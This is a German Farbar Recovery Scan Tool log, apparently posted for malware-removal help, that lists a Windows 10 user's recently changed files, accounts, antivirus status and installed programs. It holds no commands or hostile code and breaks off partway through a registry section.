2021-01-14 23:57 - 2021-01-14 23:57 - 000164864 _____ C:\Windows\system32\DataStoreCacheDumpTool.exe 2021-01-14 23:57 - 2021-01-14 23:57 - 000061440 _____ C:\Windows\system32\rdsxvmaudio.dll 2021-01-14 17:57 - 2021-01-14 17:57 - 005095370 _____ C:\Users\jessi\Documents\Wohnung XXXX 18.pdf 2021-01-14 17:57 - 2021-01-14 17:57 - 005095370 _____ C:\Users\jessi\Documents\Wohnung XXXX 18.pdf 2021-01-14 17:55 - 2021-01-14 17:55 - 005383370 _____ C:\Users\jessi\Downloads\Scan 14. Jan. 2021.pdf 2021-01-14 17:55 - 2021-01-14 17:55 - 005383370 _____ C:\Users\jessi\Downloads\Scan 14. Jan. 2021.pdf 2021-01-14 15:59 - 2021-01-14 15:59 - 000257005 _____ C:\Users\jessi\Downloads\Mieterselbstauskunft_Vorlage_beschreibbar.pdf 2021-01-14 15:59 - 2021-01-14 15:59 - 000257005 _____ C:\Users\jessi\Downloads\Mieterselbstauskunft_Vorlage_beschreibbar.pdf 2021-01-13 17:16 - 2021-01-13 17:16 - 000957437 _____ C:\Users\jessi\Downloads\5309.pdf 2021-01-13 17:16 - 2021-01-13 17:16 - 000957437 _____ C:\Users\jessi\Downloads\5309.pdf 2021-01-13 17:15 - 2021-01-13 17:15 - 000084379 _____ C:\Users\jessi\Downloads\5310a.pdf 2021-01-13 17:15 - 2021-01-13 17:15 - 000084379 _____ C:\Users\jessi\Downloads\5310a.pdf 2021-01-13 17:14 - 2021-01-13 17:14 - 000083243 _____ C:\Users\jessi\Downloads\5310.pdf 2021-01-13 17:14 - 2021-01-13 17:14 - 000083243 _____ C:\Users\jessi\Downloads\5310.pdf 2021-01-13 12:29 - 2021-01-13 12:29 - 000461304 _____ C:\Users\jessi\Downloads\Studienkonzeption_Optimismus und Depression.pdf 2021-01-13 12:29 - 2021-01-13 12:29 - 000461304 _____ C:\Users\jessi\Downloads\Studienkonzeption_Optimismus und Depression.pdf 2021-01-13 12:29 - 2021-01-13 12:29 - 000187827 _____ C:\Users\jessi\Downloads\Jessica X _ Risk-Event-Involvment.pdf 2021-01-13 12:29 - 2021-01-13 12:29 - 000187827 _____ C:\Users\jessi\Downloads\Jessica X _ Risk-Event-Involvment.pdf 2021-01-13 12:28 - 2021-01-13 12:28 - 000433950 _____ C:\Users\jessi\Downloads\Studienkonzeption_OPTIMISMUS.pdf 2021-01-13 12:28 - 2021-01-13 12:28 - 000433950 _____ C:\Users\jessi\Downloads\Studienkonzeption_OPTIMISMUS.pdf 2021-01-13 12:28 - 2021-01-13 12:28 - 000241692 _____ C:\Users\jessi\Downloads\Studienkonzeption_Impfen.pdf 2021-01-13 12:28 - 2021-01-13 12:28 - 000241692 _____ C:\Users\jessi\Downloads\Studienkonzeption_Impfen.pdf 2021-01-13 11:05 - 2021-01-13 11:05 - 002486720 _____ C:\Users\jessi\Downloads\Bildbeschreibung_CE (1).WMA 2021-01-13 11:05 - 2021-01-13 11:05 - 002486720 _____ C:\Users\jessi\Downloads\Bildbeschreibung_CE (1).WMA 2021-01-13 11:04 - 2021-01-13 11:04 - 002486720 _____ C:\Users\jessi\Downloads\Bildbeschreibung_CE.WMA 2021-01-13 11:04 - 2021-01-13 11:04 - 002486720 _____ C:\Users\jessi\Downloads\Bildbeschreibung_CE.WMA 2021-01-11 23:38 - 2021-01-11 23:38 - 000000000 ____D C:\Program Files (x86)\GPower 3.1 2021-01-11 23:37 - 2021-01-11 23:37 - 000000000 ____D C:\Users\jessi\Downloads\GPowerWin_3.1.9.7 2021-01-11 23:37 - 2021-01-11 23:37 - 000000000 ____D C:\Users\jessi\Downloads\GPowerWin_3.1.9.7 2021-01-11 23:36 - 2021-01-11 23:37 - 013389745 _____ C:\Users\jessi\Downloads\GPowerWin_3.1.9.7.zip 2021-01-11 23:36 - 2021-01-11 23:37 - 013389745 _____ C:\Users\jessi\Downloads\GPowerWin_3.1.9.7.zip 2021-01-11 19:59 - 2021-01-11 19:59 - 000628727 _____ C:\Users\jessi\Downloads\Annual_review_supplemental_materials_for.pdf 2021-01-11 19:59 - 2021-01-11 19:59 - 000628727 _____ C:\Users\jessi\Downloads\Annual_review_supplemental_materials_for.pdf 2021-01-11 19:10 - 2021-01-11 19:10 - 000050181 _____ C:\Users\jessi\Downloads\scooter.mid 2021-01-11 19:10 - 2021-01-11 19:10 - 000050181 _____ C:\Users\jessi\Downloads\scooter.mid 2021-01-11 18:11 - 2021-01-11 18:11 - 000033540 _____ C:\Users\jessi\Downloads\kalender-2021-januar.pdf 2021-01-11 18:11 - 2021-01-11 18:11 - 000033540 _____ C:\Users\jessi\Downloads\kalender-2021-januar.pdf 2021-01-11 17:14 - 2021-01-11 17:14 - 000083098 _____ C:\Users\jessi\Downloads\Masterarbeit _ ESE Online.pdf 2021-01-11 17:14 - 2021-01-11 17:14 - 000083098 _____ C:\Users\jessi\Downloads\Masterarbeit _ ESE Online.pdf 2021-01-10 23:07 - 2021-01-10 23:07 - 000187827 _____ C:\Users\jessi\Documents\Jessica X _ Risk-Event-Involvment.pdf 2021-01-10 23:07 - 2021-01-10 23:07 - 000187827 _____ C:\Users\jessi\Documents\Jessica X _ Risk-Event-Involvment.pdf 2021-01-10 00:57 - 2021-01-10 00:59 - 000000000 ___RD C:\Users\jessi\Documents\Scanned Documents 2021-01-10 00:57 - 2021-01-10 00:59 - 000000000 ___RD C:\Users\jessi\Documents\Scanned Documents 2021-01-10 00:57 - 2021-01-10 00:57 - 000000000 ____D C:\Users\jessi\Documents\Fax 2021-01-10 00:57 - 2021-01-10 00:57 - 000000000 ____D C:\Users\jessi\Documents\Fax ==================== Ein Monat (geänderte) ================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.) 2021-02-09 18:06 - 2020-11-24 14:09 - 000000000 ____D C:\Program Files\CCleaner 2021-02-09 17:18 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\AppReadiness 2021-02-09 17:07 - 2019-06-29 11:03 - 000707490 _____ C:\Windows\system32\perfh007.dat 2021-02-09 17:07 - 2019-06-29 11:03 - 000142650 _____ C:\Windows\system32\perfc007.dat 2021-02-09 17:07 - 2019-06-29 10:57 - 001632524 _____ C:\Windows\system32\PerfStringBackup.INI 2021-02-09 17:07 - 2019-03-19 05:50 - 000000000 ____D C:\Windows\INF 2021-02-09 17:06 - 2020-11-24 14:09 - 000004210 _____ C:\Windows\system32\Tasks\CCleaner Update 2021-02-09 17:05 - 2020-05-08 11:43 - 000003752 _____ C:\Windows\system32\Tasks\AsusSystemAnalysis_754F3273-0563-4F20-B12F-826510B07474 2021-02-09 17:03 - 2020-01-12 18:39 - 000000000 __SHD C:\Users\jessi\IntelGraphicsProfiles 2021-02-09 17:03 - 2020-01-12 18:39 - 000000000 __SHD C:\Users\jessi\IntelGraphicsProfiles 2021-02-09 17:03 - 2020-01-12 18:08 - 000000000 ___HD C:\Intel 2021-02-09 17:03 - 2019-06-29 10:49 - 000000006 ____H C:\Windows\Tasks\SA.DAT 2021-02-09 17:02 - 2020-05-08 11:39 - 000000000 ____D C:\Users\jessi\AppData\Local\Spotify 2021-02-09 17:02 - 2020-05-08 11:39 - 000000000 ____D C:\Users\jessi\AppData\Local\Spotify 2021-02-09 17:02 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\WinBioDatabase 2021-02-09 17:02 - 2019-03-19 05:37 - 000786432 _____ C:\Windows\system32\config\BBI 2021-02-09 16:36 - 2019-06-29 10:49 - 000000000 ____D C:\Windows\system32\SleepStudy 2021-02-09 15:12 - 2020-05-08 11:38 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Spotify 2021-02-09 15:12 - 2020-05-08 11:38 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Spotify 2021-02-09 13:49 - 2020-12-18 01:53 - 000000374 _____ C:\Users\jessi\.vivaldi_reporting_data 2021-02-09 13:49 - 2020-12-18 01:53 - 000000374 _____ C:\Users\jessi\.vivaldi_reporting_data 2021-02-09 13:48 - 2020-05-20 08:04 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Telegram Desktop 2021-02-09 13:48 - 2020-05-20 08:04 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Telegram Desktop 2021-02-08 16:18 - 2020-01-12 18:42 - 000003380 _____ C:\Windows\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2182537211-1894200014-2545026951-1001 2021-02-08 16:18 - 2020-01-12 18:42 - 000002385 _____ C:\Users\jessi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk 2021-02-08 16:18 - 2020-01-12 18:42 - 000002385 _____ C:\Users\jessi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk 2021-02-08 16:18 - 2020-01-12 18:42 - 000000000 ___RD C:\Users\jessi\OneDrive 2021-02-08 16:18 - 2020-01-12 18:42 - 000000000 ___RD C:\Users\jessi\OneDrive 2021-02-08 12:34 - 2020-07-14 01:16 - 000029047 _____ C:\Users\jessi\AppData\Local\kritarc 2021-02-08 12:34 - 2020-07-14 01:16 - 000029047 _____ C:\Users\jessi\AppData\Local\kritarc 2021-02-07 15:47 - 2020-05-12 12:57 - 000000000 ____D C:\Users\jessi\AppData\Local\WebEx 2021-02-07 15:47 - 2020-05-12 12:57 - 000000000 ____D C:\Users\jessi\AppData\Local\WebEx 2021-02-05 23:56 - 2019-03-19 05:52 - 000000000 ___HD C:\Program Files\WindowsApps 2021-02-05 23:25 - 2020-11-11 11:59 - 000000000 ____D C:\Users\jessi\AppData\Roaming\RStudio 2021-02-05 23:25 - 2020-11-11 11:59 - 000000000 ____D C:\Users\jessi\AppData\Roaming\RStudio 2021-02-05 23:25 - 2020-11-11 11:59 - 000000000 ____D C:\Users\jessi\AppData\Local\RStudio-Desktop 2021-02-05 23:25 - 2020-11-11 11:59 - 000000000 ____D C:\Users\jessi\AppData\Local\RStudio-Desktop 2021-02-05 14:57 - 2020-05-08 11:08 - 000003630 _____ C:\Windows\system32\Tasks\GoogleUpdateTaskMachineUA 2021-02-05 14:57 - 2020-05-08 11:08 - 000003506 _____ C:\Windows\system32\Tasks\GoogleUpdateTaskMachineCore 2021-02-03 17:15 - 2020-11-11 12:10 - 000000000 ____D C:\Users\jessi\AppData\Local\RStudio 2021-02-03 17:15 - 2020-11-11 12:10 - 000000000 ____D C:\Users\jessi\AppData\Local\RStudio 2021-02-03 10:45 - 2020-05-12 12:57 - 000000000 ____D C:\Users\jessi\AppData\LocalLow\WebEx 2021-02-03 10:45 - 2020-05-12 12:57 - 000000000 ____D C:\Users\jessi\AppData\LocalLow\WebEx 2021-02-01 10:27 - 2020-01-12 18:39 - 000000000 ____D C:\Users\jessi\AppData\Local\Packages 2021-02-01 10:27 - 2020-01-12 18:39 - 000000000 ____D C:\Users\jessi\AppData\Local\Packages 2021-01-28 04:11 - 2020-10-08 18:52 - 000000000 ____D C:\Users\jessi\AppData\Local\DeepL_GmbH 2021-01-28 04:11 - 2020-10-08 18:52 - 000000000 ____D C:\Users\jessi\AppData\Local\DeepL_GmbH 2021-01-27 19:26 - 2020-05-20 08:41 - 000000000 ____D C:\Users\jessi\Downloads\Telegram Desktop 2021-01-27 19:26 - 2020-05-20 08:41 - 000000000 ____D C:\Users\jessi\Downloads\Telegram Desktop 2021-01-27 18:29 - 2020-05-08 20:35 - 000000000 ____D C:\Users\jessi\Documents\Master Psychologie 2021-01-27 18:29 - 2020-05-08 20:35 - 000000000 ____D C:\Users\jessi\Documents\Master Psychologie 2021-01-27 01:02 - 2020-01-12 18:10 - 000004122 _____ C:\Windows\system32\Tasks\ASUS Update Checker 2.0 2021-01-27 01:00 - 2020-01-12 18:09 - 000003764 _____ C:\Windows\system32\Tasks\ASUS Optimization 36D18D69AFC3 2021-01-26 16:55 - 2020-05-18 13:06 - 000000000 ____D C:\Users\jessi\AppData\Local\ElevatedDiagnostics 2021-01-26 16:55 - 2020-05-18 13:06 - 000000000 ____D C:\Users\jessi\AppData\Local\ElevatedDiagnostics 2021-01-25 16:01 - 2020-09-18 08:56 - 000000000 ____D C:\Users\jessi\Desktop\Bafög 2021-01-25 16:01 - 2020-09-18 08:56 - 000000000 ____D C:\Users\jessi\Desktop\Bafög 2021-01-22 06:10 - 2020-05-08 11:03 - 000799104 ____N (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe 2021-01-21 20:24 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\LiveKernelReports 2021-01-19 22:48 - 2020-09-02 01:54 - 000003700 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA 2021-01-19 22:48 - 2020-09-02 01:54 - 000003576 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore 2021-01-18 03:50 - 2019-06-29 10:54 - 000000000 ____D C:\Program Files\Microsoft Office 2021-01-17 17:44 - 2020-05-08 11:01 - 000000000 ____D C:\Users\jessi\AppData\Local\PlaceholderTileLogoFolder 2021-01-17 17:44 - 2020-05-08 11:01 - 000000000 ____D C:\Users\jessi\AppData\Local\PlaceholderTileLogoFolder 2021-01-17 17:29 - 2021-01-09 23:32 - 000000000 ____D C:\Users\jessi\AppData\Roaming\HpUpdate 2021-01-17 17:29 - 2021-01-09 23:32 - 000000000 ____D C:\Users\jessi\AppData\Roaming\HpUpdate 2021-01-17 17:24 - 2020-01-12 18:39 - 000000000 ___RD C:\Users\jessi\3D Objects 2021-01-17 17:24 - 2020-01-12 18:39 - 000000000 ___RD C:\Users\jessi\3D Objects 2021-01-17 17:24 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\SecureBootUpdates 2021-01-17 17:23 - 2020-12-14 21:39 - 000000000 ____D C:\Program Files (x86)\Panda Security 2021-01-17 17:23 - 2019-06-29 10:49 - 000440160 _____ C:\Windows\system32\FNTCACHE.DAT 2021-01-17 17:21 - 2019-03-19 07:20 - 000000000 ____D C:\Program Files\Windows Photo Viewer 2021-01-17 17:21 - 2019-03-19 07:20 - 000000000 ____D C:\Program Files (x86)\Windows Photo Viewer 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\SysWOW64\F12 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\SysWOW64\DiagSvcs 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\system32\UNP 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\system32\F12 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\system32\DiagSvcs 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___RD C:\Windows\PrintDialog 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\setup 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\PerceptionSimulation 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\Dism 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\Com 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\AdvancedInstallers 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SystemResources 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\WinBioPlugIns 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\SystemResetPlatform 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\setup 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\PerceptionSimulation 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\oobe 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\migwiz 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\Dism 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\Com 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\AdvancedInstallers 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\ShellExperiences 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\ShellComponents 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\Provisioning 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\IME 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\bcastdvr 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Program Files\Windows Defender 2021-01-15 00:14 - 2019-03-19 05:37 - 000000000 ____D C:\Windows\CbsTemp 2021-01-15 00:11 - 2020-05-08 17:35 - 000000000 ____D C:\Windows\system32\MRT 2021-01-15 00:08 - 2020-05-08 17:35 - 135062968 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe 2021-01-14 23:57 - 2019-06-29 10:53 - 002877952 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintConfig.dll 2021-01-14 21:56 - 2020-12-14 21:40 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Panda Security 2021-01-14 21:56 - 2020-12-14 21:40 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Panda Security 2021-01-10 23:31 - 2020-11-02 10:13 - 000000000 ____D C:\Users\jessi\Documents\Citavi 6 2021-01-10 23:31 - 2020-11-02 10:13 - 000000000 ____D C:\Users\jessi\Documents\Citavi 6 ==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ======== 2020-07-14 04:31 - 2020-09-01 20:49 - 000000505 _____ () C:\Users\jessi\AppData\Local\karboncalligraphyrc 2020-12-11 12:32 - 2020-12-11 12:32 - 000000046 _____ () C:\Users\jessi\AppData\Local\klanguageoverridesrc 2020-07-14 01:16 - 2021-02-08 00:25 - 000002648 _____ () C:\Users\jessi\AppData\Local\krita-sysinfo.log 2020-07-14 01:16 - 2021-02-08 12:34 - 000523916 _____ () C:\Users\jessi\AppData\Local\krita.log 2020-07-16 13:07 - 2020-12-15 22:39 - 000102182 _____ () C:\Users\jessi\AppData\Local\kritacrash.log 2021-02-08 12:34 - 2021-02-08 12:34 - 000000215 _____ () C:\Users\jessi\AppData\Local\kritadisplayrc 2020-07-14 01:16 - 2021-02-08 12:34 - 000029047 _____ () C:\Users\jessi\AppData\Local\kritarc 2020-07-14 01:16 - 2020-12-05 20:08 - 000029822 _____ () C:\Users\jessi\AppData\Local\kritarc.backup 2020-08-12 14:00 - 2020-08-12 14:00 - 000003341 _____ () C:\Users\jessi\AppData\Local\recently-used.xbel ==================== SigCheck ============================ (Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.) ==================== Ende von FRST.txt ======================== Code:
ATTFilter Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 08-02-2021 01 durchgeführt von jessi (09-02-2021 20:59:56) Gestartet von C:\Users\jessi\Downloads Windows 10 Home Version 1909 18363.1316 (X64) (2020-01-12 17:24:50) Start-Modus: Normal ========================================================== ==================== Konten: ============================= Administrator (S-1-5-21-2182537211-1894200014-2545026951-500 - Administrator - Disabled) DefaultAccount (S-1-5-21-2182537211-1894200014-2545026951-503 - Limited - Disabled) Gast (S-1-5-21-2182537211-1894200014-2545026951-501 - Limited - Disabled) jessi (S-1-5-21-2182537211-1894200014-2545026951-1001 - Administrator - Enabled) => C:\Users\jessi WDAGUtilityAccount (S-1-5-21-2182537211-1894200014-2545026951-504 - Limited - Disabled) ==================== Sicherheits-Center ======================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Installierte Programme ====================== (Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.) Adobe Acrobat Reader DC - Deutsch (HKLM-x32\...\{AC76BA86-7AD7-1031-7B44-AC0F074E4100}) (Version: 20.013.20074 - Adobe Systems Incorporated) Adobe Flash Player 32 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 32.0.0.321 - Adobe) CCleaner (HKLM\...\CCleaner) (Version: 5.75 - Piriform) Cisco Webex Meetings (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\ActiveTouchMeetingClient) (Version: 41.1.3 - Cisco Webex LLC) Citavi 6 (HKLM-x32\...\{6A331045-8FF4-4BC9-9C56-E593ACAE28C2}) (Version: 6.7.0.0 - Swiss Academic Software) DeepL (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\DeepL) (Version: 1.17.1 - DeepL GmbH) Epic Games Launcher Prerequisites (x64) (HKLM\...\{F9C5C994-F6B9-4D75-B3E7-AD01B84073E9}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden G*Power 3.1.9.7 (HKLM-x32\...\{FA3666A9-FF30-4777-B906-305B1EF0486E}) (Version: 3.1.97 - Franz Faul, Uni Kiel, Germany) GIMP 2.10.18 (HKLM\...\GIMP-2_is1) (Version: 2.10.18 - The GIMP Team) Google Chrome (HKLM-x32\...\Google Chrome) (Version: 88.0.4324.150 - Google LLC) HP Deskjet 3520 series - Grundlegende Software für das Gerät (HKLM\...\{15B2F0E3-3FAC-4495-B0FD-398EECFA4100}) (Version: 28.0.1315.0 - Hewlett-Packard Co.) HP Deskjet 3520 series Hilfe (HKLM-x32\...\{6B953497-169C-4929-9AA9-A9F510347468}) (Version: 27.0.0 - Hewlett Packard) HP Deskjet 3520 series Setup Guide (HKLM-x32\...\{AEEDCEB7-00B8-4BE1-B492-AB04803D5F1E}) (Version: 27.0.0 - Hewlett Packard) HP Photo Creations (HKLM-x32\...\HP Photo Creations) (Version: 1.0.0.7702 - HP) HP Update (HKLM-x32\...\{912D30CF-F39E-4B31-AD9A-123C6B794EE2}) (Version: 5.005.002.002 - Hewlett-Packard) JASP 0.14.0.0 (HKLM\...\{57ED3787-26E5-43C1-A78E-509872ED9BCE}) (Version: 0.14.0.0 - Universiteit van Amsterdam) Krita (x64) 4.3.0 (HKLM\...\Krita_x64) (Version: 4.3.0.0 - Krita Foundation) Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Microsoft 365 - de-de (HKLM\...\O365HomePremRetail - de-de) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - en-us (HKLM\...\O365HomePremRetail - en-us) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - fr-fr (HKLM\...\O365HomePremRetail - fr-fr) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - it-it (HKLM\...\O365HomePremRetail - it-it) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - nl-nl (HKLM\...\O365HomePremRetail - nl-nl) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 Apps for Enterprise - de-de (HKLM\...\O365ProPlusRetail - de-de) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 88.0.705.63 - Microsoft Corporation) Microsoft Edge Update (HKLM-x32\...\Microsoft Edge Update) (Version: 1.3.139.71 - ) Microsoft OneDrive (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\OneDriveSetup.exe) (Version: 21.002.0104.0005 - Microsoft Corporation) Microsoft Teams (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Teams) (Version: 1.3.00.13565 - Microsoft Corporation) Microsoft Update Health Tools (HKLM\...\{0BCA8FBE-0C1C-4C65-98A3-5D34AAF41737}) (Version: 2.70.0.0 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Mozilla Firefox 84.0 (x64 de) (HKLM\...\Mozilla Firefox 84.0 (x64 de)) (Version: 84.0 - Mozilla) Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 77.0.1 - Mozilla) Office 16 Click-to-Run Extensibility Component (HKLM\...\{90160000-008C-0000-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-007E-0000-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0407-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0409-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-040C-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0410-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0413-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden R for Windows 4.0.3 (HKLM\...\R for Windows 4.0.3_is1) (Version: 4.0.3 - R Core Team) Respondus LockDown Browser OEM (HKLM-x32\...\{00D779A4-92E4-404A-A502-045E1D6E3C34}) (Version: 2.00.601 - Respondus) RStudio (HKLM-x32\...\RStudio) (Version: 1.3.1093 - RStudio) Skype Version 8.66 (HKLM-x32\...\Skype_is1) (Version: 8.66 - Skype Technologies S.A.) SleepTimer Ultimate 2.3 (HKLM-x32\...\{0EE56463-49B2-45E1-B74F-3E0139DBC986}_is1) (Version: - Christian Handorf) Spotify (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Spotify) (Version: 1.1.52.687.gf5565fe5 - Spotify AB) Teams Machine-Wide Installer (HKLM-x32\...\{731F6BAA-A986-45A4-8936-7C3AAAAA760B}) (Version: 1.3.0.4461 - Microsoft Corporation) Telegram Desktop version 2.5.8 (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1) (Version: 2.5.8 - Telegram FZ-LLC) Vivaldi (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Vivaldi) (Version: 3.5.2115.81 - Vivaldi Technologies AS.) Zoom (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\ZoomUMX) (Version: 5.4.1 (58698.1027) - Zoom Video Communications, Inc.) Packages: ========= Fotos-Add-On -> C:\Program Files\WindowsApps\Microsoft.Windows.Photos.DLC.Main_2017.39121.36610.0_x64__8wekyb3d8bbwe [2020-12-26] (Microsoft Corporation) Intel® Grafik-Kontrollraum -> C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt [2020-12-31] (INTEL CORP) [Startup Task] Intel® Graphics Control Panel -> C:\Program Files\WindowsApps\AppUp.IntelGraphicsControlPanel_3.3.0.0_x64__8j3eq9eme6ctt [2020-01-12] (INTEL CORP) LinkedIn -> C:\Program Files\WindowsApps\7EE7776C.LinkedInforWindows_2.1.7098.0_neutral__w1wdnht996qgy [2020-05-10] (LinkedIn) March of Empires: War of Lords -> C:\Program Files\WindowsApps\A278AB0D.MarchofEmpires_5.3.1.1_x86__h6adky7gbf63m [2021-01-14] (Gameloft SE) McAfee® Personal Security -> C:\Program Files\WindowsApps\5A894077.McAfeeSecurity_2.1.54.0_x64__wafk5atnkzcwy [2020-12-04] (McAfee LLC.) Media Engine-Add-On für Fotos -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2020-07-01] (Microsoft Corporation) Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2020-05-10] (Microsoft Corporation) [MS Ad] Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2020-05-10] (Microsoft Corporation) [MS Ad] Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.9.1252.0_x64__8wekyb3d8bbwe [2021-02-01] (Microsoft Studios) [MS Ad] Microsoft To Do -> C:\Program Files\WindowsApps\Microsoft.Todos_2.37.4351.0_x64__8wekyb3d8bbwe [2021-02-05] (Microsoft Corporation) [Startup Task] Microsoft Whiteboard -> C:\Program Files\WindowsApps\Microsoft.Whiteboard_20.11214.5552.0_x64__8wekyb3d8bbwe [2021-01-30] (Microsoft Corporation) MyASUS -> C:\Program Files\WindowsApps\B9ECED6F.ASUSPCAssistant_2.3.11.0_x64__qmba6cd70vzyy [2021-01-20] (ASUSTeK COMPUTER INC.) Realtek Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.RealtekAudioControl_1.2.175.0_x64__dt26b99r8h8gj [2020-01-12] (Realtek Semiconductor Corp) ==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ============== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet 